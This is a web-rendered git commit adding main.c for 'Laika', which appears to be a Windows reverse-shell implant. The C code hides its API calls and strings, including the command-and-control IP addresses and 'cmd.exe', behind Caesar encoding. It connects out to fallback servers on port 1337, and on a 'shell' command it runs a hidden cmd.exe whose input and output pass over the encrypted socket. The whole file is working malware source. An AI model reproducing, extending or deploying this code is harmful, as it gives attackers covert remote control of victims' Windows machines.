premier commit
This commit is contained in:
279
Laika/main.c
Normal file
279
Laika/main.c
Normal file
@@ -0,0 +1,279 @@
|
||||
#include <Windows.h>
|
||||
#include <shlobj_core.h>
|
||||
#include <wininet.h>
|
||||
#include "utils.h"
|
||||
#include "resolve_apis.h"
|
||||
|
||||
#define Sleep_TIME 30
|
||||
|
||||
HANDLE g_hChildStd_IN_Rd = NULL;
|
||||
HANDLE g_hChildStd_IN_Wr = NULL;
|
||||
HANDLE g_hChildStd_OUT_Rd = NULL;
|
||||
HANDLE g_hChildStd_OUT_Wr = NULL;
|
||||
|
||||
extern API Api;
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
|
||||
DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
||||
SOCKET sock = (SOCKET)lpParameter;
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
DWORD bytesRead;
|
||||
|
||||
while (1) {
|
||||
//Read data from the socket
|
||||
Api.memset(buffer, 0, BUFFER_SIZE);
|
||||
bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0);
|
||||
if (bytesRead > 0) {
|
||||
Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL);
|
||||
//Api.WriteFile(g_hChildStd_IN_Wr, buffer, bytesRead, NULL, NULL);
|
||||
}
|
||||
else if (bytesRead == SOCKET_ERROR) {
|
||||
break;
|
||||
}
|
||||
else {
|
||||
Api.Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
Api.free(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
||||
SOCKET sock = (SOCKET)lpParameter;
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
DWORD bytesRead;
|
||||
|
||||
while (1) {
|
||||
// Read data from the child process's stdout pipe
|
||||
if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) {
|
||||
Api.send(sock, CAESAR(buffer), bytesRead, 0);
|
||||
//Api.send(sock, buffer, bytesRead, 0);
|
||||
}
|
||||
else {
|
||||
DWORD error = Api.GetLastError();
|
||||
if (error == ERROR_BROKEN_PIPE) {
|
||||
//pipe closed by the process
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Api.free(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
typedef struct t_watch_process_args {
|
||||
SOCKET sock;
|
||||
HANDLE process;
|
||||
}watch_process_args;
|
||||
|
||||
int should_reset = 0;
|
||||
DWORD WINAPI watch_process(LPVOID lpParameter) {
|
||||
watch_process_args* args = (watch_process_args*)(lpParameter);
|
||||
|
||||
char buffer[1]; // buffer to hold the data
|
||||
int n;
|
||||
|
||||
while (1) {
|
||||
n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
|
||||
if (n > 0) {
|
||||
// There is data available on the socket, so the connection is still alive
|
||||
}
|
||||
else if (n == 0) {
|
||||
// The connection has been closed
|
||||
break;
|
||||
}
|
||||
else {
|
||||
// An error occurred
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Api.TerminateProcess(args->process, -1);
|
||||
should_reset = 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void SendShellEndedSignal(SOCKET sock) {
|
||||
if (Api.send(sock, "Qfnpf?%xjxxnts%jsiji", strlen("Qfnpf?%xjxxnts%jsiji"), 0) < 0) //Laika: session ended
|
||||
{
|
||||
//send failed
|
||||
}
|
||||
}
|
||||
|
||||
#define FALLBACK_SERVERS 4
|
||||
|
||||
char* fallback_servers[4];
|
||||
int serv = -1;
|
||||
int main() {
|
||||
InitApis();
|
||||
|
||||
Message();
|
||||
|
||||
fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:");
|
||||
fallback_servers[1] = CAESAR_DECRYPT("");
|
||||
fallback_servers[2] = CAESAR_DECRYPT("");
|
||||
fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397");
|
||||
|
||||
Tmemset memset = Api.memset;
|
||||
|
||||
wchar_t wtext[20];
|
||||
Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
|
||||
LPWSTR cmd_char = wtext;
|
||||
|
||||
int sock;
|
||||
int first = 1;
|
||||
struct sockaddr_in server;
|
||||
char* server_reply = (char*)Api.malloc(BUFFER_SIZE);
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_port = Api.htons(1337);
|
||||
|
||||
WORD wVersionRequested = MAKEWORD(2, 2);
|
||||
WSADATA wsaData;
|
||||
Api.WSAStartup(wVersionRequested, &wsaData);
|
||||
|
||||
retry:
|
||||
if (!first) {
|
||||
Api.closesocket(sock);
|
||||
}
|
||||
else {
|
||||
first = 0;
|
||||
}
|
||||
|
||||
serv++;
|
||||
if (serv > FALLBACK_SERVERS-1) {
|
||||
serv = 0;
|
||||
}
|
||||
server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]);
|
||||
|
||||
//Create socket
|
||||
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == -1)
|
||||
{
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
//Connect to remote server
|
||||
if (Api.connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0)
|
||||
{
|
||||
//connect failed
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
//keep communicating with server
|
||||
while (1)
|
||||
{
|
||||
//Send some data
|
||||
/*
|
||||
if (Api.send(sock, "Wjfi~3\xf", strlen("Wjfi~3\xf"), 0) < 0) //Ready.\n
|
||||
{
|
||||
//send failed
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
*/
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0)
|
||||
{
|
||||
//recv failed
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||
// Set the socket as standard output and error
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sa.bInheritHandle = TRUE;
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) {
|
||||
SendShellEndedSignal(sock);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) {
|
||||
SendShellEndedSignal(sock);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
// Create a thread to read from the pipes and write to the socket
|
||||
HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL);
|
||||
HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL);
|
||||
|
||||
// Create the process
|
||||
STARTUPINFO si;
|
||||
ZeroMemory(&si, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = g_hChildStd_OUT_Wr;
|
||||
si.hStdOutput = g_hChildStd_OUT_Wr;
|
||||
si.hStdInput = g_hChildStd_IN_Rd;
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
|
||||
SendShellEndedSignal(sock);
|
||||
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||
|
||||
if (hThread != NULL) {
|
||||
Api.TerminateThread(hThread, 0);
|
||||
Api.CloseHandle(hThread);
|
||||
}
|
||||
if (hThread2 != NULL) {
|
||||
Api.TerminateThread(hThread2, 0);
|
||||
Api.CloseHandle(hThread2);
|
||||
}
|
||||
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
watch_process_args args = { sock, pi.hProcess};
|
||||
HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL);
|
||||
|
||||
// Wait for the process to finish
|
||||
Api.WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
|
||||
SendShellEndedSignal(sock);
|
||||
|
||||
// Close the handles
|
||||
Api.CloseHandle(pi.hProcess);
|
||||
Api.CloseHandle(pi.hThread);
|
||||
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||
|
||||
if (hThread != NULL) {
|
||||
Api.TerminateThread(hThread, 0);
|
||||
Api.CloseHandle(hThread);
|
||||
}
|
||||
if (hThread2 != NULL) {
|
||||
Api.TerminateThread(hThread2, 0);
|
||||
Api.CloseHandle(hThread2);
|
||||
}
|
||||
if (hThread3 != NULL) {
|
||||
Api.TerminateThread(hThread3, 0);
|
||||
Api.CloseHandle(hThread3);
|
||||
}
|
||||
|
||||
if (should_reset) {
|
||||
should_reset = 0;
|
||||
goto retry;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Api.closesocket(sock);
|
||||
|
||||
FreeApis();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user